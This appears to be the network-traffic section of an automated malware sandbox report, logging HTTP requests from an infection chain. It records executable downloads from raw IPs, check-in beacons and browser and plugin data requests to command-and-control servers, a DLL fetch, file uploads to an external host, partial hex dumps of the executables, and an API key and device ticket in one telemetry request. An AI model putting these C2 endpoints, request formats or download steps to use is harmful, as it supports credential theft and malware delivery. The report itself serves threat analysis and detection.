00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 02:10:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 02:10:46 GMTContent-Type: application/octet-streamContent-Length: 1908736Last-Modified: Thu, 21 Nov 2024 02:02:29 GMTConnection: keep-aliveETag: "673e94b5-1d2000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4b 00 00 04 00 00 33 34 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 4f 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 4e 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 79 6b 63 78 70 75 63 00 00 1a 00 00 50 31 00 00 00 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 71 75 64 63 70 68 77 00 10 00 00 00 50 4b 00 00 06 00 00 00 f8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4b 00 00 22 00 00 00 fe 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732155175140Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007819001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /x/SillyShelf.exe HTTP/1.1Host: 154.216.20.78
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007820001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007821001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007822001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 36 30 39 38 45 46 34 39 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"516098EF49F42681209724------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"mars------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="message"browsers------JEGHCBAFBFHIIECBKFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"plugins------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="message"fplugins------CGHCFBAAAFHJDGCBFIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEGHost: 185.215.113.206Content-Length: 7147Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007823001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------BOpxR0RDfJueCCutCBYDD0Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 4f 70 78 52 30 52 44 66 4a 75 65 43 43 75 74 43 42 59 44 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 7a 65 7a 61 68 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f7 f8 55 6a 07 55 c2 9b 62 07 94 99 6f 8e b3 83 10 5c 1c 5a 0c 72 a9 73 d4 1c 84 6d 78 64 49 e8 2c b1 5a fe 89 65 52 4a 56 f3 a1 66 bf fc f6 2a 18 18 68 2b 91 06 15 fd 6d 07 2e d0 2d 78 4f 4f 85 a8 4b 7d f7 56 2a 18 03 4a e0 14 cf 50 e4 c9 45 9c 5a 82 d4 4a ef ba 26 15 26 ad 98 44 91 d9 b3 73 14 1b 15 f2 5f a1 d7 ad 50 90 d6 12 a6 c1 52 cb c6 d7 0e 35 94 12 46 b4 33 13 af ac 3f c1 5e 58 d2 16 7a 0b 5a 8b 8d 21 fb 50 fa 6c dd 60 ec c5 03 01 36 a2 84 cc b1 fe f8 58 57 ed 94 52 5b 44 73 f7 3a a9 d3 7a 43 27 07 e5 ca 44 6d bc 09 ba a2 c5 87 bd 57 e0 fa 58 15 1f 4b 90 4d ba d9 de 17 06 99 4f ea 39 55 eb 5e 43 ec c1 03 15 8f 88 20 49 1c 8c 21 94 4a b1 7a c0 1f 6c 0a 76 92 d2 de b0 a8 3b 50 8f 6a 6c 6e 41 dd 41 fc 09 70 55 65 9a d1 30 7d b3 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 4f 70 78 52 30 52 44 66 4a 75 65 43 43 75 74 43 42 59 44 44 30 2d 2d 0d 0a Data Ascii: --------------------------BOpxR0RDfJueCCutCBYDD0Content-Disposition: form-data; name="file"; filename="Wezezah.bin"Content-Type: application/octet-streamUjUbo\ZrsmxdI,ZeRJVfh+m.-xOOK}VJPEZJ&&Ds_PR5F3?^XzZ!Pl`6XWR[Ds:zC'DmWXKMO9U^C I!Jzlv;PjlnAApUe0}--------------------------BOpxR0RDfJueCCutCBYDD0--
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 9984Content-Type: multipart/form-data; boundary=------------------------TCTxbcwJL1oKP87DNX2WjcData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 54 43 54 78 62 63 77 4a 4c 31 6f 4b 50 38 37 44 4e 58 32 57 6a 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 78 75 7a 6f 6e 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 87 d4 ff 3d 94 79 92 e3 a6 96 e3 22 e7 1b cc 3c 4c 5d 85 78 f7 ac 0e 28 92 cc 92 f0 b0 9d a0 e4 52 df 10 5a cc 1a 1e ed 3b 30 83 48 d6 94 6a e3 42 7a 2f 71 93 28 95 6a 1e 88 70 6e f2 67 34 8b d1 6c d8 0c 63 3b 37 f2 14 b8 e3 2c 1a 25 b4 6e 30 49 05 80 92 0e b7 22 e1 86 77 07 b4 2b ce 81 e1 44 2a fa 70 94 65 84 2a 1b b5 c4 62 7e a0 bf e4 16 2f 8f 1c 3e 04 56 40 8e 94 de 7e c3 91 aa 8e 0b 40 1b 8f 04 f2 0a c4 5a 44 4a 5b d8 40 56 75 5e 9e 52 5e b7 6e 0d 24 89 71 30 01 14 9f 1a b6 ac b7 2b bb 48 2e 70 57 8f 27 22 cc f0 21 4c ad 1b c9 4f 1f 24 67 4b 48 98 a6 1f 39 f6 c6 ec 59 a5 99 09 39 da 27 ef 82 15 c3 53 69 46 5f 82 fc b8 8f cf 00 7b fb 4a 1a ff f6 d3 5f a9 c8 c0 3b 3f c2 e5 ae 2b d9 51 24 28 d2 3b 15 e0 55 cd bc dc ac 34 e2 7c 80 ba b3 2d a1 2a ce 2e 83 57 d7 66 84 1b 34 99 58 7f c0 f0 6e 7b 9e e7 90 11 5c 00 1d b1 21 db 8b ce 9c cd 0b 05 b5 22 21 52 22 0c fb 67 5d a3 2e 7f 7c 13 f6 7b 82 f4 d4 24 0c fd 3b c5 d7 de c5 09 d2 8f cf b0 b0 fe 03 57 de 8a a4 89 17 eb fe b9 55 37 5b 9c f1 a4 d6 6b bf 8a 59 cd e2 f9 c2 54 92 ad 51 34 5f 88 44 cf e9 f2 0e 84 8d 8c 43 f9 51 f2 32 13 e3 c6 17 9a ad b3 d8 8a 7a 61 ed fe 01 e2 b8 9a e6 08 5f b0 fd 6e 79 05 bb 75 79 f3 01 55 dc 92 0c 4e db 23 9a 99 49 94 e5 f8 bf b6 13 bb 4f 2e e4 3d df 00 09 3e f4 f0 06 03 3a c6 ef 74 24 88 3a 5f 81 57 eb 24 ca cc 17 67 df 2d 5c 85 bb 82 c0 57 22 1e 2e 77 14 90 d1 aa 98 e6 71 e5 f2 87 6f 16 11 46 07 7f 09 a0 1e 8d 63 c4 14 6d 20 2e 68 d2 f6 97 86 fd d2 ad a2 b1 2b 28 8c 86 1d 73 07 d6 72 42 6c 17 d1 5b bc ad 1d 0b b0 00 8a 96 d1 ac 74 f3 c3 dd b4 58 c8 65 2c 19 0e 49 49 ca 3c b4 4f 79 72 d9 42 28 c4 72 36 f8 bd c2 42 5c 78 ae 59 d6 ec 09 6b f7 77 f6 25 82 4d cc f0 ae 92 8c 6a fc 3a 5f ca 81 a7 07 ce 1f e3 72 92 0f 73 94 f2 3a 98 14 45 dd 68 6b a0 a7 ea 61 da bf b6 66 97 1b 5d 43 b9 89 fb 6b f2 47 30 dd 11 e3 a8 db 14 d2 a6 2a 57 fd 6a e7 9f 00 29 da 24 9a bd 22 c3 63 ef 0b 89 e2 6a f4 50 e5 fa 35 eb 54 10 8b 38 fb d4 68 0a 5c fd 88 79 0c 07 e2 b2 70 15 d4 f3 60 2d 21 89 a7 2a b5 cc ef be 94 0b 01 49 cc 5d 53 04 ac 09 e9 ba a4 53 7f 06 75 68 ad 98 77 00 24 0e 30 03 61 5c 7c 7e 81 a3 61 78 6c 78 98 08 e3 22 44 6b 94 66 bc 7a 11 4f 3e ad e0 bd 32 23 5e 1e 49 84 8a 6a 79 09 d7 9f f8 4a bd 95 78 55 c2 c1 75 f7 04 89 74 c7 97 ac ea 48 3a 64 ad 26 62 21 17 07 df 3b b6 8f bf 84 55 f9 b2 88 65 be e6 6a 3b 31 2a 27 1b e9 7
